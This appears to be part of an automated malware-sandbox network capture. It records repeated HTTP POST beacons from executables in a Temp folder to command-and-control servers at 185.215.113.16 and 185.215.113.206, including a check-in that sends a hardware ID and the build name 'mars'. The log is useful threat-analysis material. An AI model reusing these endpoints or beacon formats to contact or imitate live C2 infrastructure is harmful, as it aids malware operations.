Nov 12, 2024 05:03:24.340944052 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:24.341876984 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:24.626131058 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	50018	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:24.738668919 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:25.641108990 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:25.642529011 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:25.926362038 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	50019	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:26.394159079 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:27.337753057 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:27.341166973 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:27.634877920 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	50020	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:27.755398989 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:28.676438093 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:28.677861929 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:28.965686083 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	50021	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:29.166527033 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:30.085666895 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:30.086493015 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:30.375428915 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	50022	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:30.490070105 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:31.402662039 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:31.403558016 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:31.688358068 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	50023	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:31.910382986 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:32.828042030 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:32.833314896 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:33.116372108 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	50024	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:33.312880039 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:34.220432997 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:34.223809004 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:34.509279013 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	50025	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:34.868155003 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:35.787512064 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:35.789628029 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:36.085824013 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	50026	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:36.218383074 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:37.128145933 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:37.197921991 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:37.483885050 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	50027	185.215.113.206	80	5636	C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:36.671458006 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 05:03:37.579560995 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 04:03:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 05:03:37.639154911 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFCGDAAKFHIDBFIDBKFH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 44 42 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 36 46 31 45 45 46 30 42 46 34 32 36 38 31 32 30 39 37 32 34 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 44 42 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 44 42 4b 46 48 2d 2d 0d 0a Data Ascii: ------BFCGDAAKFHIDBFIDBKFHContent-Disposition: form-data; name="hwid"FC6F1EEF0BF42681209724------BFCGDAAKFHIDBFIDBKFHContent-Disposition: form-data; name="build"mars------BFCGDAAKFHIDBFIDBKFH--
Nov 12, 2024 05:03:37.924350023 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 04:03:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	50028	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:37.643909931 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:38.542407036 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:38.573720932 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:38.857496023 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	50033	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:39.005494118 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:39.916596889 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:40.092725039 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: 